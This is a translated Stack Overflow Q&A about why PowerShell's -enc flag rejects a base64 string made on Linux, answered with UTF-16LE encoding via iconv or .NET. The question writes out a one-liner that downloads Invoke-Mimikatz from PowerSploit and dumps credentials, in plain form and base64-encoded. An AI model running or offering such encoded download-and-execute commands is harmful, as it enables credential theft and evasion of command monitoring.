首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >需要Powershell base64编码

需要Powershell base64编码
EN

Stack Overflow用户
提问于 2018-11-12 19:47:31
回答 2查看 8.5K关注 0票数 3

我想在powershell中执行base64编码的命令。例如,我从这个github获得了一个命令:https://gist.github.com/gfoss/ca6aa37f97fd400ff14f。运行mimikatz one:

代码语言:javascript
复制
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds; $m

如果我在powershell提示符中直接运行它,它就能正常工作。通过检查base64编码版本,我发现它也正常工作:

代码语言:javascript
复制
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA==

但是,我不确定该字符串是如何编码的。如果我试图在Linux中对它进行编码,就会得到一个不同的字符串(我只是更改了引号以防止bash解释$):

代码语言:javascript
复制
echo -e 'IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/Powe
rSploit/master/Exfiltration/Invoke-Mimikatz.ps1"); $m = Invoke-Mimikatz -DumpCreds; $m' | openssl enc -base64 -A

SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vUG93ZXJTaGVsbE1hZmlhL1Bvd2VyU3Bsb2l0L21hc3Rlci9FeGZpbHRyYXRpb24vSW52b2tlLU1pbWlrYXR6LnBzMSIpOyAkbSA9IEludm9rZS1NaW1pa2F0eiAtRHVtcENyZWRzOyAkbQo=

当我尝试使用powershell -enc运行它时,此编码失败。

我应该使用什么编码来使字符串与powershell完全兼容?

EN

回答 2

Stack Overflow用户

回答已采纳

发布于 2018-11-12 21:12:48

PowerShell期望base64字符串是Unicode编码的,而Unicode是用于小终端UTF-16的Windows。

如果需要在不访问iconv的情况下从linux编码PowerShell命令,则可以使用PowerShell转换为.NET:

代码语言:javascript
复制
iconv -f ASCII -t UTF-16LE filename.txt |base64 -w 0
票数 5
EN

Stack Overflow用户

发布于 2018-11-12 19:49:52

使用powershell示例中的一个吗?

代码语言:javascript
复制
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("command_goes_here"))
票数 3
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/53269099

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档